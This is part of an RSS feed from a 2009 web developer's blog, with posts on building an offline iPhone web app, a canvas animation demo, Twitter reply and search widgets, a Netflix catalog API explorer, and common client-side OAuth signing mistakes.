<h3>Structure</h3>
<p>This is basic HTML with some custom links, attributes, and metas, as discussed below.</p>
<pre class="code">&lt;!DOCTYPE html>
&lt;html manifest="main.manifest">
   &lt;head>
      &lt;title>Backchannel&lt;/title>
      &lt;meta name="viewport"
         content="width=device-width;
                  initial-scale=1.0;
                  maximum-scale=1.0;
                  minimum-scale=1.0;
                  user-scalable=0;"
      />
      &lt;meta name="apple-mobile-web-app-capable"
         content="yes"
      />
      &lt;meta names="apple-mobile-web-app-status-bar-style"
         content="black"
      />
      &lt;link rel="apple-touch-icon" href="icon.png" />
      &lt;link rel="stylesheet" type="text/css" href="presentation.css" media="screen" />
   &lt;/head>
   &lt;body>
    &lt;script src="behavior.js">&lt;/script>
   &lt;/body>
&lt;/html></pre>
<p>Those custom items:</p>
<ul>
<li><code>manifest</code> -- points at the list of files that we want to save locally.</li>
<li><code>viewport</code> -- sets the initial width of the document to whatever the width of the device is, and tells it not to scale the size, ever.  This plus preventing default on <code>touchmove</code> (in the behavior, below) causes the app to be rock-steady.</li>
<li><code>apple-mobile-web-app-capable</code> -- lets the device know that this page can be saved as a mobile web app.</li>
<li><code>apple-mobile-web-app-status-bar-style</code> -- hides the status bar</li>
<li><code>apple-touch-icon</code> -- points to the icon we want to use on the home screen</li>
</ul>
<p>Yep, that's the HTML5 doctype up there.  Please promise me right here and now that you will never build anything for an iPhone that's not HTML5.</p>
<h3>Presentation</h3>
<p>Here we tell Safari what color to make each orientation of the screen:</p>
<pre class="code">.landscape {background-color:green;}
.portrait {background-color:red;}</pre>
<p>All we're going to do to make this happen is to change the main body's CSS class when the device rotates.</p>
<p>These colors are, of course, trivially easy to change for color-blind speakers.</p>

<h3>Behavior</h3>
<p>Here we listen for the <code>onorientationchange</code> event and change the screen's CSS class name accordingly.</p>
<pre class="code">(function (w, d, k) {
   var $;
   $ = w[k] = {};
   $.w = w;
   $.d = d;
   $.f = (function () {
      return {
         init : function () {
            $.s = $.d.getElementsByTagName('BODY')[0];
            $.s.addEventListener("touchmove", function (e) { e.preventDefault(); }, false);
            $.w.setTimeout($.f.orient, 0);
            $.w.onorientationchange = function () {
               $.f.orient();
            };
         },
         orient : function () {
            if ($.w.orientation === 0) {
               $.s.className = 'portrait';
            } else {
               $.s.className = 'landscape';
            }
            $.w.setTimeout($.f.home, 0);
         },
         home : function () {
            $.w.scrollTo(0, 1);
         }
      };
   }());
   $.f.init();
}(window, document, 'backchannel'));</pre>
<p>We're listening for <code>touchmove</code> in order to prevent the screen from bobbling about when the user touches and drags.</p>
<h3>Icon</h3>
<p>Here's our happy little icon, <code>icon.png</code>:</p>
<img src="http://kentbrewster.com/backchannel/icon.png" />
<p>We could have also used a <code>.jpg</code> here, but it's significantly bigger and uglier.</p>

<h3>Manifest</h3>
<p>Here we tell the app what files we want it to save locally:</p>
<pre class="code">CACHE MANIFEST
# v20091210
presentation.css
behavior.js
icon.png</pre>
<p>Our manifest starts with <code>CACHE MANIFEST</code>.  This is required.</p>
<p>Next up is a comment.  If your device is online when the user starts your app, it will ping the remote version of the manifest before loading, to make sure nothing needs to be updated.  If I make a change to <code>behavior.js</code>, I'll also change something in my manifest--that version number, most likely--to let the client know it needs to pull fresh copies of the cached files.</p>
<p>Finally, list all files. We could be using relative path names here--caution: these will be relative to the manifest's path, not the path of the document referencing the manifest--but we're keeping things simple.</p>
<p>Our manifest does not include <code>bc.html</code>, since that's the file that points to <code>main.manifest</code>.</p>
<h3>Important: Why This Didn't Work the First Time I Tried It</h3>
<p>Unless you've been reading ahead, chances are excellent that your Web server won't send <code>main.manifest</code> with the proper content type.  If your server sends your manifest as <code>text/plain</code>, it is guaranteed to silently fail.  What you want is <code>text/cache-manifest</code>.  To make it work, I added the following directive to my Apache <code>.htaccess</code> file:</p>
<pre>AddType text/cache-manifest .manifest</pre>
<p>To make sure it was working, I used Web-Sniffer to make sure my Content-Type was being set correctly:</p>
<code><a href="http://web-sniffer.net/?url=http%3A%2F%2fkentbrewster.com%2Fbackchannel%2Fmain.manifest">http://web-sniffer.net/?url=http%3A%2F%2fkentbrewster.com%2Fbackchannel%2Fmain.manifest</a></code>
<p>... and it was.  Huge thanks to <a href="http://twitter.com/thecssninja">@thecssninja</a> for this tip, and much useful material about creating offline apps; please see <a href="http://www.thecssninja.com/javascript/how-to-create-offline-webapps-on-the-iphone">How To Create Offline Web Apps On The iPhone</a> for more.  (The Ninja also has tips for those of you stuck with IIS and other inferior Web servers.)</p>
<h3>Further Reading</h3>
<ul>
<li>Anything by <a href="http://www.thecssninja.com">The CSS Ninja</a>, already cited above.</li>
<li><a href="http://twitter.com/berttimmermans">Bert Timmermans</a>, whose work is <a href="http://www.berttimmermans.com/work">both pretty and useful</a>, even though my <a href="http://kentbrewster.com/iclock">iClock</a> beat his <a href="http://www.berttimmermans.com/2009/02/checklist/">Checklist</a> into production by three months, making it Not In Fact The World's First Offline Capable Webapp for the iPhone. :)</li>
<li>The Mozilla Developer Center's <a href="http://developer.mozilla.org/en/Offline_resources_in_Firefox">Offline Resources in Firefox</a> page, for explaining how offline apps stay up-to-date.</li>
<li>The Safari Reference Libary's <a href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/OfflineApplicationCache/OfflineApplicationCache.html">HTML 5 Offline Application Cache</a>, for more on handling cache events.</li>
</ul>
<p>As always, have fun with this, please let me know how it goes, and feel free to repurpose the code as long as you're within the limits of my <a href="http://kentbrewster.com/rights-and-permissions">Right and Permissions</a>.</p>

 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/backchannel</feedburner:origLink></item>
	<item>
		<title>Collide-O-Scope</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/nQEOb_tN4aM/collide-o-scope</link>
		<guid isPermaLink="false">http://kentbrewster.com/collide-o-scope</guid>
		<comments>http://kentbrewster.com/collide-o-scope</comments>
		<pubDate>Fri, 04 Sep 2009 21:43:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<style>
canvas {
   float:right;
   margin:0 20px;
   border:2px solid #555;
}
</style>
<p><h3>Here's a fun little vacation project, a canvas-powered Collide-O-Scope.</h3></p>
<script src="http://kentbrewster.com/collide-o-scope/collide.js">{"height":400, "width":400}</script>
<p>After being absolutely floored by some really impressive new HTML5 demos--see the <a href="http://9elements.com/io/projects/html5/canvas/">9elements</a> Twitter mash-up, for one--I figured it was time to give it a try myself.  Here's the result.</p>
<p>Assuming you're running a canvas-aware browser--see compatibility notes below-- you should be seeing several moving sets of randomly-generated circles, all projected with their seven possible translations and reflections.  Each set has an X and Y vector; before each move we're running some very crude collision detection and altering those vectors if needed.</p>
<p>While it's running, you can change things around by clicking anywhere inside the canvas.  This will remove the oldest set of circles and add a new one where you click.</p>
<p>The fuzzy/translucent effect comes from building up a number of very faint circles, on on top of the other. Depending on the colors, you'll see fuzzy blobs, sharp stained-glass sections, and other interesting stuff when two sets of circles overlap.</p>
<p>At the moment I'm seeing smoothest results under Firefox in OSX, closely followed by Safari, with Chrome in last place.  All three--and Opera 10--also run in Windows, but since I'm running Parallels I can't say how they compare to OSX, performance-wise.</p>
<p>Sorry, no love for IE; I did try <a href="http://code.google.com/p/explorercanvas/">excanvas</a>, but it failed right away and I'm afraid I'm just not committed enough to caring about IE to investigate.  (Hobby/pretty/vacation project, remember?)</p>
<h3>Try It Out</h3>
<p>If you'd like to try Collide-O-Scope, save this as an HTML file on your local directory and drag it into your browser:</p>
<pre class="source">
&lt;!DOCTYPE HTML>
&lt;html>
&lt;head>
&lt;title>Collide-O-Scope&lt;/title>
&lt;style>
body {
   margin:0;
   padding:0;
   background-color:#666;
   text-align:center;
}
canvas {
   margin:50px auto 0;
   border:2px solid #ffa;
}
&lt;/style>
&lt;/head>
&lt;body>
&lt;script src="http://kentbrewster.com/collide-o-scope/collide.js">
{"height":400, "width":400}
&lt;/script>
&lt;/body>
&lt;/html>
</pre>
<p>Height and width go inside the <code>&lt;SCRIPT></code> tag in curly brackets; for more on the techniques, please see any of my articles about <a href="http://kentbrewster.com/case-hardened-javascript">Case-Hardened JavaScript</a>.</p>
<p>Other valid configuration variables may be discovered by <a href="http://kentbrewster.com/collide-o-scope/collide.js">viewing the script</a> and looking in the <code>houseKeep</code> function; you can change things like the number of circles on the page, the maximum number of rings per circle, ring thickness, ring opacity, background opacity, and canvas background color.</p>
<p>As always, have fun with this, don't leech the script for production use on your site, and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/collide-o-scope</feedburner:origLink></item>
	<item>
		<title>Fixing Twitter Replies</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/NfZnpyU_npU/twitter-fix-replies</link>
		<guid isPermaLink="false">http://kentbrewster.com/twitter-fix-replies</guid>
		<comments>http://kentbrewster.com/twitter-fix-replies</comments>
		<pubDate>Wed, 27 May 2009 21:02:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<div id="s" class="ftr" style="float:right;margin-left:10px;">
<h3>Hidden Tweets</h3>
<input id="q" value="kentbrew" /><button id="b">Go!</button>
<ul id="r"></ul>
</div>
<p>A short while ago, something sucked the fun right out of <a href="http://twitter.com">Twitter</a>.  All of a sudden, replies from people who I was following to people who were a) not me, or b) not people I was also following, <a href="http://mashable.com/2009/05/13/twitter-fixreplies/">mysteriously quit showing up</a>.  Without knowing more about the underlying data structures I'm not certain I understand Twitter's explanation; it seems to me they'd have to go out of their way to find and remove tweets from people I'm following that were in reply to tweets from others that I'm not following, rather than just show me all the tweets from everybody I <em>am</em> following.</p>
<p>Anyway.  I figured I'd go with it for a while and see if I noticed any difference ... and ... yeah, I do.  Turns out the main way I found new, interesting people to follow was through those half-conversations.  I haven't followed anybody new since replies broke, and find myself growing increasingly bored with Twitter.</p>
<h3>Enter the Hack</h3>
<p>At the top of this page, you'll see an entry box with my Twitter id filled in.  If you click the button, you will see a list of tweets from people I'm following.  Each of these tweets is the most recent one posted in reply to another Twitter user.  If I'm not following that person, I won't see it when I look at my Twitter page.  Right, some of these are false positives, for reasons mentioned below.  I could clean it up, but I'm probably not going to do it.  It's a hack, people. :)</p>
<p>If you'd like to try it out and see some (probably not all) of what you're missing, fill in your Twitter screen name and click Go.</p>
<h3>What This Won't Do</h3>
<ul>
<li>Show all your friends.  I'm calling the <code><a href="http://apiwiki.twitter.com/Twitter-REST-API-Method%3A-statuses%C2%A0friends">friends/status</a></code> API five times to get the most current status from the last 500 users you followed; that's enough to show some of what you're missing.  (Hey, while I have your ear ... please take a moment to think about the extra carbon you're causing Twitter to release into the atmosphere with all those follows you never actually pay attention to.  500 ought to be enough!)</li>
<li>Show all the tweets you're missing. Sorry, it's only looking at the current status and reporting it as possibly hidden if it's listed as in-reply-to another Twitter user.</li>
<li>Hide the tweets you're not missing.  Again, sorry: since I'm only looking at the last 500 people you followed, I have no way of knowing what's in reply to the other 6000.  (Again, please ... thin that ridiculous herd of follows, and help save Al3x's sanity.)</li>
<li>Work on your site with a single line of JavaScript.  Sorry, this is <em>not</em> a case-hardened badge.  (It might make an interesting Greasemonkey plug-in ... but somebody else gets to write it.  Please keep in mind that you will quickly use up your 100 API calls in an hour if you bang on it too hard.)</li>
</ul>
<h3>Please Re-Tweet! :)</h3>
<p>Twitter is much less useful to me without replies to friends I haven't met yet, so I really do hope they can fix it.  Have fun with this, and if it's useful, kindly <a target="_twitter" href="http://twitter.com/?status=Fixing+(Some)+Twitter+Replies,+from+@kentbrew:+http://bit.ly/kbftr+%23fixreplies">tweet it up</a> on Twitter. Thanks!</p>
<style>
.ftr {zoom:1;margin:0;padding:3px;width:300px;border:2px solid #000;font:13px/1.2em tahoma, veranda, arial, helvetica, clean, sans-serif;*font-size:small;*font:x-small;}
.ftr a {cursor:pointer;text-decoration:none;}
.ftr a:hover{text-decoration:underline;}
.ftr img{float:left; height:24px;width:24px;border:1px solid black;margin:3px;}
.ftr cite, .ftr date{margin:0 0 0 4px;padding:0;display:block;font-style:normal;font-size:92%;line-height:12px;}
.ftr date:after{clear:both; content:\".\"; display:block; height:0; visibility:hidden; }
.ftr h3 a, .ftr h4 a{font-size:92%; color:#000;}
.ftr h3{margin:0!important;padding:3px;font-weight:bold;background:transparent url('http://twitter.com/favicon.ico') 3px 50% no-repeat;text-indent:19px;}
.ftr h4{font-weight:normal;text-align:right;margin:0;padding:3px;}
.ftr ul{margin:0!important; padding:0!important; list-style:none!important;height:400px;width:300px;overflow:auto;}
.ftr p{margin:0!important; padding:0!important; }
.ftr ul li{margin:0!important;padding:3px!important;list-style:none!important;border-bottom:1px solid #aaa;}
.ftr input { border: 1px solid #000; width:75%; margin:0;padding:2px;}
.ftr button { width:10%; }
</style>

<?php
echo "<script>";
echo $source;
echo "</script>";
include_once('/home/kentbrew/public_html/inc/footer.inc'); ?> ]]></description>
	<feedburner:origLink>http://kentbrewster.com/twitter-fix-replies</feedburner:origLink></item>
	<item>
		<title>Twitter Search Badge</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/nOG-_hpfHTs/twitter-search-badge</link>
		<guid isPermaLink="false">http://kentbrewster.com/twitter-search-badge</guid>
		<comments>http://kentbrewster.com/twitter-search-badge</comments>
		<pubDate>Fri, 08 May 2009 09:46:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<style>
.floater {
   float:left;margin-right:5px;
}
</style>
<p>Twitter Search is turning out to be a very powerful force in real-time search.  Instead of relying on a vaguely-defined, possibly-corrupt, almost-always-out-of-date algorhythm owned by somebody else, why not check out what your fellow Internet readers are marking as interesting and/or relevant?  Here are three instances of the same search prototype, two with text queries and one with a <code>from:</code> query, showing tweets from a single person.</p>
<div class="container">
<div class="floater">
<script src="http://r8ar.com/tsb.js">{"query":"bayjax", "width":225}</script>
</div>
<div class="floater">
<script src="http://r8ar.com/tsb.js">{"query":"to:kentbrew", "width":300}</script>
</div>
<div class="floater">
<script src="http://r8ar.com/tsb.js">{"query":"javascript", "width":225}</script>
</div>
</div>
<p>If you'd like to try the Twitter Seach Badge on your site, include this bit of JavaScript wherever you want it to pop up:</p>
<pre>
&lt;script src="http://r8ar.com/tsb.js">&lt;/script>
</pre>
<p>The usual batch of configuration variables--height, width, etc--are available; to show a default search, do something like this:</p>
<pre>
&lt;script src="http://r8ar.com/tsb.js">{"query":"obama"}&lt;/script>
&lt;script src="http://r8ar.com/tsb.js">{"query":"from:scobleizer"}&lt;/script>
</pre>
<p>Right, obviously I need to combine this with <a href="http://kentbrewster.com/twitterati">Twitterati</a>.  I'm just wishing the Twitter Search API had a way to come up with the most recent tweets by friends of <code>username</code>.  Will probably have to munge something together with Pipes to do that.</p>
<p>Also still to come: Get More and Go Back links at the bottom.</p>
<p>Here's my talk from the May 9th BayJax meetup, tracing the development process of this badge, which I wrote in a single afternoon.  An older but much more detailed version of this presentation is online here, under <a href="http://kentbrewster.com/">Case-Hardened Web Badges: The Live Version</a>.</p>
<iframe height="650" width="800" border="none" src="http://kentbrewster.com/twitter-search-badge/preso.html"></iframe>
<p><a href="http://kentbrewster.com/twitter-search-badge/preso.html" target="_preso">Start Presentation in New Window</a></p>
<p>If you'd like me to present this, or something like it, or something completely unlike it (like Ajax security or OAuth or rolling your own API with Pipes) at your conference, please <a href="http://kentbrewster.com/contact/">contact me</a> and I'll see what I can do.  As always, have fun and please let me know how it goes.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/twitter-search-badge</feedburner:origLink></item>
	<item>
		<title>Netflix Catalog API Explorer</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/-vdJo-dFYpc/netflix-api-explorer</link>
		<guid isPermaLink="false">http://kentbrewster.com/netflix-api-explorer</guid>
		<comments>http://kentbrewster.com/netflix-api-explorer</comments>
		<pubDate>Tue, 28 Apr 2009 17:13:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
     <style>
        #c { width:720px;}
        #c { text-align:right; }
        #c input { width:80%; }
     </style>
     <p><a href="http://netflix.com">Netflix</a>, in case you didn't know, is a marvelous place to rent movies and television series on DVD, and watch an increasing percentage online.  Over the last ten years, Netflix has accumulated a treasure trove of information about movies and the people who make them, and has recently opened it all up with the Netflix Catalog API.  (Full disclosure: yes, I work there, and yes, it's awesome.)</p>
     <p>Here's a handy tool to help you get your feet wet without having to worry about OAuth.</p>
     <h3>Before You Begin</h3>
     <p>You'll need a developer account, from <a href="http://developer.netflix.com">developer.netflix.com</a>.  Once you're signed up and logged in, the link to Consumer Key--below, to the left of the first text entry box--should take you right to the spot where you can copy your key and secret.</p>
     <p>If you're feeling paranoid, please view source before clicking the Onwards! button.  This thing just below that looks like a form really isn't a form, and is not going to submit your information anywhere except the Netflix API.  The only reason why I'm using an all-client solution is so you, the developer, can actually try out your very own consumer key and shared secret, without me, the potentially-nefarious third party, ever actually knowing what they are.</p>
     <h3>Try Your Queries Right Here</h3>
     <div id="c">
        <p><a href="http://developer.netflix.com/apps/mykeys" target="netflix">Consumer Key</a>: <input id="k" value="" /></p>
        <p>Shared Secret: <input id="s" value="" /></p>
        <p>Query: <input id="q" value="http://api.netflix.com/catalog/titles/?term=fargo" /></p>
        <p>Got your consumer key and shared secret filled in?  Click me: <button id="b">Onwards!</button></p>
        <iframe id="z" name="result" width="100%" height="300" style="display:none;"></iframe>
        <p><strong><a id="u" style="display:none;" href="#" target="_oauth">Your OAuth-Signed URL</a></strong></p>
     </div>
     <h3>Sample Queries (Click to Try)</h3>
     <ul id="x">
        <li>Autocomplete search results for the string "mcdo":<br /><code><a rel="http://api.netflix.com/catalog/titles/autocomplete?term=mcdo">http://api.netflix.com/catalog/titles/autocomplete?term=mcdo</a></code></li>
        <li>Find the first Frances in the People section:<br /><code><a rel="http://api.netflix.com/catalog/people?term=Frances&max_results=1">http://api.netflix.com/catalog/people?term=Frances&max_results=1</a></code></li>
        <li>Zoom in on Frances McDormand:<br /><code><a rel="http://api.netflix.com/catalog/people/61544">http://api.netflix.com/catalog/people/61544</a></code></li>
        <li>See Franceses 2 through 10:<br /><code><a rel="http://api.netflix.com/catalog/people?term=Frances&start_index=1&max_results=9">http://api.netflix.com/catalog/people?term=Frances&start_index=1&max_results=9</a></code></li>
        <li>Frances McDormand's filmography, with synopses:<br /><code><a rel="http://api.netflix.com/catalog/people/61544/filmography?expand=synopsis">http://api.netflix.com/catalog/people/61544/filmography?expand=synopsis</a></code></li>
        <li>Zoom in on Fargo:<br /><code><a rel="http://api.netflix.com/catalog/titles/movies/493387">http://api.netflix.com/catalog/titles/movies/493387</a></code></li>
        <li>Fargo again, with expanded cast and synopsis:<br /><code><a rel="http://api.netflix.com/catalog/titles/movies/493387?expand=cast,synopsis">http://api.netflix.com/catalog/titles/movies/493387?expand=cast,synopsis</a></code></li>
     </ul>
     <p>These are only a few examples; please see the <a href="http://developer.netflix.com/docs/REST_API_Reference">REST API Reference</a> for detailed information.</p>
     <h3>Things to Do and Notice</h3>
     <ul>
        <li>When your results come back, just about any link that starts with <code>http://api.netflix.com/catalog</code> can be copied and pasted right back into the query blank for further exploration.</li>
        <li>A link to your OAuth-signed URL will magically appear under the iframe containing your results.  If you click this it ought to open your results in a new page, so you can see exactly what OAuth did to your request string.  This is very, very handy when you're wrestling with some of the more arcane aspects of the API, such as what needs to be URL-encoded.</li>
        <li>Use Netflix's handy <code>expand</code> parameter to avoid extra calls to the API.  Any of the <code>link</code> attributes in the main tree should be expandable; details are in the API docs, which I am currently in the process of refactoring.</li>
        <li>To try out version 1.5 of the Netflix API, add <code>v=1.5</code> to any query.  Please note that <code>expand</code> behaves differently in version 1.5.</li>
     </ul>
     <h3>Don't Forget to Break It!</h3>
     <p>No, seriously.  This is critical; you need to know what happens when things go wrong.  Change your key or secret, or enter an URL that doesn't compute, and make note of the errors you get back.</p>
     <h3>Bad Ideas</h3>
     <ul>
        <li><strong>Trying to retrieve the entire catalog.</strong>  (Okay, I admit it: I tried this myself.  The resulting bolus of data choked my browser, and I had to reboot and recover some lost stuff that I hadn't saved.)  Client apps should never need the entire catalog; if you are thinking about doing this, you are doing it Wrong.</li>
        <li><strong>Using term search to power autocomplete.</strong>  That's what <code>/catalog/titles/autocomplete</code> is for, folks; it's even been left free of OAuth requirements so people banging on it won't use up your daily quota of API calls.</li>
        <li><strong>Putting this script into production anywhere.</strong>  Although OAuth calls can be made using nothing but JavaScript, doing so will reveal your consumer key and shared secret on every call, which could lead to trouble if either item is hijacked and used by someone who is not you.</li>
     </ul>
     <h3>Other Important Resources</h3>
     <ul>
     <li>If you'd like to play around with OAuth parameters, see the <a href="http://developer.netflix.com/resources/OAuthTest">OAuth Test Page</a>.</li>
     <li>To run signed-in calls to the Netflix API--accessing things like a specific user's queue--you'll want <a href="http://developer.netflix.com/files/">Flixo</a>.</li>
     <li>Although it feels very GOOG-centric, the <a href="http://googlecodesamples.com/oauth_playground/">OAuth Playground</a> has a spot under "Choose Your Scope" where you can enter any OAuth endpoint. Netflix works there.</li>
     </ul>
     <h3>The JavaScript Source</h3>
     <p>For the morbidly curious, here's how I got client-side OAuth to work in eighty lines of JavaScript.  It may be worth looking at if you're a throwback like me who refuses to use a library he doesn't understand.  The heavy lifting happens at the bottom of the script, from <code>oAuthEscape</code> on down, with much help from <a href="http://pajhome.org.uk/crypt/md5/sha1.js">Paul Johnston's HMAC-SHA1 routine</a>.</p>
<pre class="source">
<?php
   $display = str_replace("<", "&lt;", $source);
   echo $display;
?>
</pre>
    <p>If you'd like to learn more about the various snakes that bit me while I was figuring it out, please see <a href="http://kentbrewster.com/oauth-confessions">True OAuth Confessions, or Why My Hand-Rolled Calls All Blew Chunks</a>.</p>
    <p>Have fun, please let me know how it goes, and don't forget to read the documentation, at <code><a href="http://developer.netflix.com/">http://developer.netflix.com/</a></code>. It will be better soon, I promise! :)</p>
<?php
echo "<script>";
echo $source;
echo "</script>";
include_once('/home/kentbrew/public_html/inc/footer.inc'); ?> ]]></description>
	<feedburner:origLink>http://kentbrewster.com/netflix-api-explorer</feedburner:origLink></item>
	<item>
		<title>True OAuth Confessions</title>
		<link>http://feedproxy.google.com/~r/KentBrewster/~3/286s5aS2YZY/oauth-confessions</link>
		<guid isPermaLink="false">http://kentbrewster.com/oauth-confessions</guid>
		<comments>http://kentbrewster.com/oauth-confessions</comments>
		<pubDate>Mon, 27 Apr 2009 15:08:00 PDT</pubDate>
		<dc:creator>Kent Brewster</dc:creator>
		<description><![CDATA[ 
<p>I'm settling in at Netflix and starting to work my way through the developer docs.  One of the main concerns we're seeing from outside developers is getting that first OAuth call to work.  Here, in an effort to reassure my fellow noobs that they're not crazy, is my tale of OAuth woe:</p>
<p>When I <a href="http://kentbrewster.com/oauth-baby-steps">first encountered OAuth</a> I bounced off the <a href="http://oauth.net/core/1.0">spec</a> and a couple of <a href="http://oauth.googlecode.com/svn/code/javascript/oauth.js">libraries</a>, which seem to be documented in a language created specifically to make guys like me give up in disgust.</p>
<p>Backup plan:  I cracked into a couple of URL returns with Firebug, thought I understood what was going on, and plunged blindly in. (Famous last words:  "It's just a string, right? How hard could it possibly be?")</p>
<p>My real mistake: not just blindly trusting the libraries to do the right thing.  Seriously.  Unless you've got the same thing wrong with you that I have with me and you absolutely cannot stand the idea of using something you don't fully understand, stop here and just go plug in a library.</p>
<p>So.  Here begins my top ten list of horrible mistakes made while trying to reverse-engineer OAuth:</p>
<ul>
<li><strong>My Timestamp was Stale</strong><br />
Unless it's only a few minutes old, the URL somebody else generated isn't going to work.  And forget about trying to copy and paste the one they show in the docs.  If you're working in JavaScript, your client's clock needs to be within ten minutes of your API's clock.  (WinXP under Parallels seems to lose track of time every once in a while; cue the sound of Nelson Muntz from The Simpsons:  "Ha-hah!")</li>
<li><strong>The Parameters in my Signature Base String were Out of Alphabetical Order</strong><br />
Note to self: <code>oauth_signature_method</code> comes BEFORE <code>oauth_timestamp</code>, and AFTER <code>oauth_nonce</code>.  Parameters like <code>foo</code> and <code>baz</code> and <code>qux</code> might show up before or afterwards.  Or during, depending on how psychotic the API you're trying to hit turns out to be.</li>
<li><strong>I Forgot a Question-Mark between my Request and my OAuth Payload</strong><br />
Here's where you do NOT want an ampersand. You'll go blind trying to spot it.</li>
<li><strong>I Didn't URL-Encode my Signature</strong><br />
Just because it came back in base-64 from my HMAC-SHA1 function didn't make it safe to fire off; there are plus-signs and equals-signs and other unsavory characters in many base-64 strings, and they all needed to be encoded.</li>
<li><strong>I Didn't URL-Encode All Illegal Characters</strong><br />
Right, see, I was initially doing this with JavaScript, and <code>uriEncodeComponent</code> turned out not to fix exclamation points, asterisks, single-quotes, or parentheses.</li>
<li><strong>I URL-Encoded the Ampersands Separating my Method, URL, and Request Parameters</strong><br />
The server needs those raw ampersands, so it can tell where to split the string you sent.</li>
<li><strong>I Didn't Append an Ampersand to my Consumer Secret to Make my Signature Key</strong><br />
Another picky ampersand-related detail:  when signing a request without a token secret I STILL needed to add an ampersand to the end of my consumer secret.</li>
<li><strong>I Used the Same Nonce, Over and Over and Over Again</strong><br />
Turns out there is a special circle of Error 401 Hell reserved for people who re-use their nonces; this makes sense, if you think about the sort of replay attacks the spec is designed to prevent.  Naturally you would need to READ the spec before thinking about this.</li>
<li><strong>I Generated a Random Nonce, but (you guessed it) Failed to URL-Encode It</strong><br />
No need to be fancy with this; just pick a random 16-digit number. Don't (for instance) use every possible printable character.</li>
<li><strong>And, Finally:  I URL-Encoded my Signature Key</strong><br />
Yeah, I really did do this. It took days to unscrew. Not recommended.</li>
</ul>
<p>Anyone else have something to confess?  Let's hear it; it will be good for your soul, and will help our fellow pilgrims not to fall down the same holes we did.</p>
 ]]></description>
	<feedburner:origLink>http://kentbrewster.com/oauth-confessions</feedburner:origLink></item>
</channel>
</rss>
